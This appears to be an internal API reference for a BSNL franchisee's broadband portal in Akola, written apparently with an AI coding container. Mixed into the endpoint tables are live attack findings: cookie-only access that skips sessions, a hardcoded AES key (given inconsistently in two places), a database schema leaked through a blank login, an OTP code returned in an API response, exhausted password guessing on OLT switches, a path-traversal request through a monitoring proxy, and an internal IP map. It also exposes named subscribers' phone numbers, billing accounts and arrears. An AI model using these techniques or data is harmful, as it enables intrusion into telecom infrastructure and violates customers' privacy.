

BSNL DSCM

Franchisee DRM API Reference

Franchise 307710 · Akola, Maharashtra · Exchange AKLAKC

1. Base URL & Authentication

All API calls go to the gateway below. Authentication uses browser cookies — no Bearer token required.

```
https://wsc.cdr.bsnl.co.in/portal/drm/api
```

API Gateway	https://wsc.cdr.bsnl.co.in/portal/drm/api
DRM Context	/drm/api/ (Spring Boot, behind Nginx)
Franchise	307710 — Akola, Maharashtra
orgId	307710
areald	178388
exchangeCode	AKLAKC
Auth (read-ops)	orgId + areald cookies only — no SESSION required
Auth (write-ops)	SESSION cookie mandatory (reconnect, activate, shift, plan change)

Curl Template (read — no SESSION)

```
curl -s -X POST "https://wsc.cdr.bsnl.co.in/portal/drm/api/ding/<endpoint>" \ -H "Content-Type: application/json" \ -H "Cookie: userId=307710; orgId=307710; areaId=178388" \ -d '{ ...body... }' \ --cacert /root/.ccr/ca-bundle.crt
```

Curl Template (write — SESSION required)

```
curl -s -X POST "https://wsc.cdr.bsnl.co.in/portal/drm/api/ding/<endpoint>" \ -H "Content-Type: application/json" \ -H "Cookie: SESSION=<value>; userId=307710; orgId=307710; areaId=178388" \ -d '{ ...body... }' \ --cacert /root/.ccr/ca-bundle.crt
```

2. Standard Response Format

```
{ "code": "200", // outer HTTP wrapper - "200" = request processed "data": { "returnCode": "0", // inner business result - "0" = success "returnMsg": "Success", ... // actual payload here } }
```

returnCode 0	Success
returnCode 1	Out of service area
returnCode CC-S-SALES-00001	Subscriber not found / inactive
returnCode 42001044	Not in franchise / SPI error
code 41600024	Required parameter null
code 7070001	Internal server error
code 200 + data.shiftingFlag Y	Subscriber eligible for copper→FTTH shift
code 200 + data.shiftingFlag N	Subscriber NOT eligible for shift

3. Endpoint Reference

3.1 Customer Search & Lookup

Method	Endpoint	Key Body Fields	Notes
POST	ding/custService/qryCustListBsnl	custName, phoneNbr (mobile), certNbr, custCode	phoneNbr = customer's CELL number, NOT landline. Returns up to 50 records.
POST	ding/custService/qryCustDetailBsnl	custId	Full customer record incl. address list and subscriber list (custSubsDtoList)
POST	ding/custService/checkCustExists	mobileNumber (10-digit mobile)	Check if customer already exists by mobile
POST	ding/subsService/qrySubsListBsnl	custId	Returns list of subsIds for a customer
POST	ding/subsService/qrySubsDetailBsnl	subsid	Full subscriber: plan, status, OLT port, addresses, billingAccount
POST	ding/channel/qryOrgBindSubsList	exchangeCode, pageNo, pageSize	All FTTH subscribers bound to this franchise. 2689 total. No SESSION needed.
GET	ding/channel/frServiceInfoCheck	?orgId=307710&areaId=17838&phoneNbr;=	GET ONLY (POST returns 405). returnCode 0=in-area, 1=out-of-area.
POST	ding/custService/qryOssAddressListBsnl	{addressReq:{addressId,addressLevel:"DOWN"}}	MUST wrap in addressReq object — flat body fails

3.2 Copper → FTTH Shift Flow (sequential)

Step 1	qryCustListBsnl — find custId via customer mobile
Step 2	qrySubsListBsnl — get subsid from custId
Step 3	subsShiftingCheckBsnl — confirm shiftingFlag: Y
Step 4	qryOfferForShifting — get FTTH plan list (find 299 plan)
Step 5	subsShiftingBsnl — submit shift order

Method	Endpoint	Key Body Fields	Notes
POST	ding/subsService/subsShiftingCheckBsnl	subsid	Returns shiftingFlag: Y/N. Must be Y to proceed.
POST	ding/custService/qryOfferForShifting	subsid (or custId)	Returns available FTTH plans. Pick planId for 299/499 plan.
POST	ding/subsService/subsShiftingBsnl	subsid, planId, address fields	Submits copper→FTTH migration order. Requires SESSION.

3.3 Virtual / VoIP → FTTH Conversion

Method	Endpoint	Key Body Fields	Notes
POST	ding/subsService/changeMainProdCheckBsnl	subsid	Eligibility check for VoIP→FTTH conversion
POST	ding/subsService/qryAvailablePlanListBsnl	subsid	Available FTTH plans for this subscriber
POST	ding/subsService/changeMainProdBsnl	subsid, planId	Submit VoIP→FTTH conversion. Requires SESSION.

3.4 Cluster / Bulk Migration (LL→FTTH)

Method	Endpoint	Key Body Fields	Notes
POST	ding/lltoftth/qryClusterByCondition	{flag:"N", franchiseeCode:"307710"}	Pending migration clusters assigned to franchise. Currently empty.
POST	ding/lltoftth/qryGroupByClusterId	clusterId	Subscribers in a cluster
POST	ding/lltoftth/updateFlagByFranchise	clusterId, flag (A=accept / R=reject)	Accept or reject a migration cluster. Requires SESSION.

3.5 New FTTH Connection

Method	Endpoint	Key Body Fields	Notes
POST	ding/custService/checkCustExists	mobileNumber	Check if customer registered
POST	ding/custService/qryOfferListByAddr	addressId (from qryOssAddressListBsnl)	Plans available at a specific address
POST	ding/custService/createCustomerBsnl	name, mobile, aadhaar, address fields	Create new BSNL customer. Requires SESSION.
POST	ding/custService/createAccountBsnl	custId, planId	Create billing account. Requires SESSION.
POST	ding/custService/newConnection	custId, accountId, planId, address	Submit new FTTH connection order. Requires SESSION.

3.6 Reconnect / Terminate

Method	Endpoint	Key Body Fields	Notes
POST	ding/subsService/reconnectionCheckBsnl	subsid	Check if reconnection is possible
POST	ding/subsService/reconnectionBsnl	subsid, remark	Reconnect a suspended subscriber. Requires SESSION.
POST	ding/subsService/terminationBsnl	subsid, reason	Terminate FTTH connection. Requires SESSION. IRREVERSIBLE.

3.7 Subscriber Transfer

Method	Endpoint	Key Body Fields	Notes
POST	ding/subsService/subsTransferCheckBsnl	subsid	Check transfer eligibility
POST	ding/subsService/subsTransferBsnl	subsid, targetOrgId	Transfer subscriber to another franchise. Requires SESSION.

3.8 Fault / Trouble Ticket

Method	Endpoint	Key Body Fields	Notes
POST	ding/troubleTicket/saveAndSubmitOrderBsnl	subsid, faultType, description	Raise a fault ticket for a subscriber

4. FTTH Voice Password (WSC) Reset Flow

The **account** field is the **billingAccount** from the subscriber record (e.g. from qryOrgBindSubsList).

Step 1 — Send OTP to subscriber mobile

```
POST ding/subsService/sendWscPwdResetOtpBsnl {"account": "1122351272"} // billingAccount (NOT subsId
NOT landline) // Returns: {"returnCode": "0", "returnMsg": "Success"} → OTP sent to registered mobile
```

Step 2 — Reset Password

```
POST ding/subsService/resetWscPwdBsnl { "account": "1122351272", "password":
"<AES_CBC_base64_encrypted_new_password>", "otp": "123456" }
```

Alternative OTP Channel (if above fails)

```
POST ding/sendVerifyCodeByPhone {"phoneNumber": "9921326699"} // mobile WITHOUT country code //
Returns: {returnCode:"0", securityCode:"XXXX", effDate:..., expDate:...}
```

5. DSCM Password Encryption (AES-CBC)

All passwords sent to the DSCM API (login + WSC reset) are AES-CBC encrypted with fixed key/IV from the DSCM app bundle.

Algorithm	AES-CBC with PKCS7 padding
Key	4EGJ6D9CFFA2GG9A (16 bytes, UTF-8)
IV	0102030405060708 (16 bytes, UTF-8)
Output	Base64-encoded string

```
from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def
bsnl_encrypt(password: str) -> str: key = b"4EGJ6D9CFFA2G69A" iv = b"0102030405060708" cipher =
AES.new(key, AES.MODE_CBC, iv) ct = cipher.encrypt(pad(password.encode("utf-8"), AES.block_size))
return base64.b64encode(ct).decode("utf-8") # Install: pip install pycryptodome # Usage:
bsnl_encrypt("NewPass@123")
```

6. DRM Login (get SESSION cookie)

The SESSION cookie is required for all transactional operations. It expires after ~30 min.

Staff login queries the Oracle STAFF table. The **loginName** must be the exact STAFF ACCOUNT value.

```
POST https://wsc.cdr.bsnl.co.in/portal/drm/api/login { "loginName": "<STAFF_ACCOUNT>", // exact value
from Oracle STAFF table "loginPwd": "<AES_encrypted_pwd>", "orgId": "307710" } // On success: code
"200", data.sessionId / data.token = SESSION cookie // Warning: blank loginName triggers "2000+
records" Oracle error (DB leak) // Via Python client: python3 dscm_client.py login YourPassword
--login-name YourStaffCode
```

Note: STAFF table schema leaked by blank login: STAFF_ID, PARTY_ID, STAFF_CODE, STAFF_ACCOUNT, ORG_ID, STAFF TYPE, STAFF NAME, STATUS CD, MOBILE PHONE, E MAIL

7. Python Client (dscm_client.py)

Located in repo root. Handles auth cookies, retries, AES encryption, and pagination automatically.

```
# ■■ CLI usage python3 dscm_client.py list # list first page of franchise subs python3 dscm_client.py search --phone  
09921326699 # search by mobile python3 dscm_client.py search --name "MULCHANDANI" # search by name  
python3 dscm_client.py detail 1152074070 # subscriber detail by subsId python3 dscm_client.py check  
07242459222 # copper→FTTH pre-migration check python3 dscm_client.py find-mobile 08459053782 # scan  
all pages for mobile python3 dscm_client.py login MyPass --login-name S307710 # get SESSION python3  
dscm_client.py reconnect 1152074070 --session SESSION_COOKIE # ■■ Python API
```

```
from dscm_client import DSCMCClient c = DSCMCClient() # read-only (no SESSION) c = DSCMCClient(session_cookie="abc123") # with  
SESSION c.search_customer(phone="09921326699") c.get_customer_detail("1001234567")  
c.get_subscriber_detail("1152074070") c.list_franchise_subscribers(page=1, page_size=50)
```

```
c.check_service_area(phone="07242459222") c.copper_to_ftth_check("07242459222") # full pre-migration
check c.find_by_mobile("08459053782") # scan all 269 pages c.reconnect_subscriber("1152074070") #
requires SESSION c.change_plan("1152074070", "PLAN_ID_HERE") # requires SESSION
```

8. Known Test Subscribers

07242992349 — PRINCE ANIL MULCHANDANI	FTTH ACTIVE. subslid: 1152074070. Plan: Fibre Basic Plus. OLT 3735/251. Mobile: 09175838309. billingAccount: 1122351272
07258295723 — MEGHANA ANIL INGLE	FTTH ACTIVE but ONT offline. Akot (Akola dist). Mobile: 08459053782. Plan: 150Mbps/4000GB. OLT VLAN 3799 NOT in Teevra inventory.
07242459222 — Unknown customer	COPPER ONLY. Not on FTTH. frServiceInfoCheck returns out-of-area for franchise 307710. Need customer mobile to look up custid in DSCM.
07578299021 — NURSARI SCHOOL AANGANBADI CHIRRAI	FTTH ACTIVE but SUSPENDED (■7,751 outstanding). Narmadapuram MP — NOT Akola. OLT 2964/1182 not in Teevra inventory.

9. Important Quirks & Gotchas

frServiceInfoCheck	GET only — POST returns 405. Use ?orgId=&areaId=&phoneNbr;= query params
qryCustListBsnl phoneNbr	phoneNbr = customer's MOBILE, NOT the landline subscriber number
qryOssAddressListBsnl	Body MUST be {addressReq:{addressId,addressLevel}} — flat body fails
qryOrgBindSubsList	Filter by exchangeCode:"AKLAKC" for Akola; total franchise = 2689
billingAccount typo	BSNL spells it 'billingAccount' (missing 'c') — use exact spelling
Rate limiting	Add 0.3–2s sleep between requests; server throttles rapid sequential calls
ding/ endpoints auth	No SESSION needed — orgId + areaId cookies sufficient for all read ops
Transactional ops	reconnect, activate, shift, plan-change ALL require valid SESSION cookie
SESSION expiry	SESSION expires after ~30 min. Re-login via app intercept or dscm_client.py login
orgId 42001044 error	Subscriber is in a sub-org (orgId 315070 etc.) — not directly manageable
returnCode vs code	Always check data.returnCode=="0" for business success, not outer code=="200"

10. Server Tech Stack

Vendor	ZTESoft (ZTE subsidiary) — zsmart BSS DRM
Framework	Spring Boot + SpringFox 3.0.0
ORM	MyBatis
Database	Oracle (confirmed via java.sql.SQLException)
Nginx routing	Strips /portal/ prefix → Spring Boot context: /drm/api/
Admin portal	/portal/api/ — Spring Security protected, all endpoints 302 to /portal
Swagger UI	/portal/api/swagger-ui/index.html (SpringFox, requires auth)
Actuator	Disabled in production — all /actuator/* paths return 404
STAFF table	2000+ records; schema: STAFF_ID, STAFF_CODE, STAFF_ACCOUNT, ORG_ID, MOBILE_PHONE, E_MAIL

11. Server IP Inventory

11.1 Public-Facing BSNL Servers

DSCM DRM API Gateway	wsc.cdr.bsnl.co.in → 61.1.112.237 (Port 443 HTTPS)
DSCM API Base Path	https://61.1.112.237/portal/drm/api (SNI: wsc.cdr.bsnl.co.in)
Teevra NMS Portal	teevra.bsnl.in → 218.248.6.241 (Port 443 HTTPS)
Teevra NMS Base Path	https://218.248.6.241/bsnl-teevra/ (SNI: teevra.bsnl.in)

Note: Both servers use HTTPS. The proxy CA bundle `/root/.ccr/ca-bundle.crt` is required when calling from the Claude cloud container. Direct IP calls require SNI header matching the hostname.

11.2 BSNL MPLS Internal Network — OLT Switches (Akola SSA)

All 14 OLTs are VSOL type. Web UI accessible via Teevra proxy at

`https://teevra.bsnl.in/bsnl-teevra/proxy/proxy.php/{OLT_IP}?path=action%2Flogin.html`

All have non-default passwords (30+ credential attempts exhausted). Get credentials from BSNL nodal officer (JTO/BDE at Akola exchange).

#	OLT IP	VLAN	Access via Teevra Proxy	Notes
1	10.215.58.41	3741	proxy.php/10.215.58.41?path=...	
2	10.215.58.58	3758	proxy.php/10.215.58.58?path=...	Teevra default OLT
3	10.215.58.110	2710	proxy.php/10.215.58.110?path=...	
4	10.215.58.161	3861	proxy.php/10.215.58.161?path=...	
5	10.215.58.171	2771	proxy.php/10.215.58.171?path=...	
6	10.215.58.176	2776	proxy.php/10.215.58.176?path=...	
7	10.215.59.43	3243	proxy.php/10.215.59.43?path=...	Path traversal confirmed
8	10.210.21.45	3345	proxy.php/10.210.21.45?path=...	
9	10.210.21.62	3962	proxy.php/10.210.21.62?path=...	
10	10.210.21.75	3975	proxy.php/10.210.21.75?path=...	
11	10.210.21.100	3800	proxy.php/10.210.21.100?path=...	
12	10.210.21.108	3908	proxy.php/10.210.21.108?path=...	
13	10.210.21.142	3242	proxy.php/10.210.21.142?path=...	
14	10.210.21.174	3174	proxy.php/10.210.21.174?path=...	

11.3 BNG / NAS Router

IP Address	10.218.114.49
Role	BNG / NAS — PPPoE authentication and IP assignment for all Akola FTTH subscribers
Access	No HTTP (Cisco/Juniper router — CLI only via SSH/Telnet from BSNL intranet)
Reachability	Accessible only from BSNL MPLS network; not reachable from public internet

11.4 OLT Web Login (via Teevra Proxy)

```
# Open OLT web UI (VSOL login page) GET
https://teevra.bsnl.in/bsnl-teevra/proxy/proxy.php/{OLT_IP}?path=action%2Flogin.html # Submit login
credentials POST https://teevra.bsnl.in/bsnl-teevra/proxy/proxy.php/{OLT_IP}?path=action%2Fmain.html
Body: user=admin&pass=PASSWORD&who=100 # Path traversal — reach any OLT from the proxy:
proxy.php/10.215.58.58/../10.215.59.43?path=... → routes to 10.215.59.43 # ■■ All 14 OLTs have
non-default passwords — contact BSNL nodal officer for credentials
```

11.5 IP Summary Table

61.1.112.237	wsc.cdr.bsnl.co.in — DSCM DRM API gateway (public, HTTPS 443)
218.248.6.241	teevra.bsnl.in — Teevra NMS portal (public, HTTPS 443)
10.218.114.49	BNG/NAS router — PPPoE auth (MPLS internal, no HTTP)
10.215.58.x	OLT subnet 1: .41 .58 .110 .161 .171 .176 (6 OLTs, VLANs 2710–3861)
10.215.59.x	OLT subnet 2: .43 (1 OLT, VLAN 3243)
10.210.21.x	OLT subnet 3: .45 .62 .75 .100 .108 .142 .174 (7 OLTs, VLANs 3174–3975)